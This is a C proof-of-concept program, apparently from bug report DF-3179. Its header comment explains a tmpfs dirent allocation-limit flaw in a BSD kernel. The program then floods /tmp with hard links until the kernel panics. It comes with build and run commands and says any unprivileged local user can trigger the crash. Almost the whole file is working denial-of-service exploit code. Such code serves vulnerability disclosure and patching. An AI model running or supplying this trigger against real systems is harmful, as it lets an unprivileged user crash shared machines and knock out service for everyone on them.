DF-3179 / linkflood.c
/* * DF-3179 โ tmpfs dirent-zone limit panic trigger. * * tmpfs_mount() (sys/vfs/tmpfs/tmpfs_vfsops.c:200-207) creates a per-mount * malloc_type "tmpfs dirent" whose ks_limit stays at the malloc default * kmem_lim_size()/10 (sys/kern/kern_slaballoc.c:372) โ it raises ONLY the * node zone limit (kmalloc_obj_raise_limit at tmpfs_vfsops.c:206). * tmpfs_alloc_dirent() (sys/vfs/tmpfs/tmpfs_subr.c:306-307) allocates the * dirent with M_WAITOK and NO M_NULLOK, so when the per-mount dirent zone * hits its default limit the allocator panics: * * panic("tmpfs dirent: malloc limit exceeded") (kern_slaballoc.c:877, * same logic kern_kmalloc.c:706) * * link(2) is the cheapest filler: tmpfs_nlink() has no dirent budget check * (only per-node LINK_MAX), so each link() adds a 128-byte dirent + a short * name and consumes ZERO tmpfs nodes/pages. On a 4GB box the default-boot * /tmp tmpfs panics after ~3.19M links ((RAM/10)/128) โ reachable by any * local user, no vfs.usermount needed, no mount syscall at all. * * Build: cc -O2 -o linkflood linkflood.c * Run: ./linkflood /tmp * Expect: kernel panic "tmpfs dirent: malloc limit exceeded" once the * mount's dirent usage crosses kmem_lim/10 (~390MB on 4GB RAM). */ #include <sys/param.h> #include <sys/mount.h> #include <err.h> #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> int main(int argc, char **argv) { const char *dir = (argc > 1) ? argv[1] : "/tmp"; struct statfs sb; char tgt[512], path[600]; long long made = 0; long batch = 0; int fd; if (statfs(dir, &sb) != 0) err(1, "statfs(%s)", dir); fprintf(stderr, "target %s: f_type=%ld f_blocks=%lld f_files=%lld\n", dir, (long)sb.f_type, (long long)sb.f_blocks, (long long)sb.f_files); fflush(stderr); for (;;) { /* LINK_MAX batch base file (1 node per ~34000 dirents) */ snprintf(tgt, sizeof(tgt), "%s/df3179_b%ld", dir, batch); fd = open(tgt, O_CREAT | O_EXCL | O_WRONLY, 0600); if (fd < 0) err(1, "open(%s)", tgt); close(fd); for (long i = 0; i < 40000; i++) { snprintf(path, sizeof(path), "%s_l%ld", tgt, i); if (link(tgt, path) < 0) { if (errno == EMLINK) break; /* LINK_MAX(32767) hit */ err(1, "link(%s)", path); } made++; if ((made % 200000) == 0) { fprintf(stderr, "links=%lld\n", made); fflush(stderr); } } batch++; } /* not reached */ return 0; } |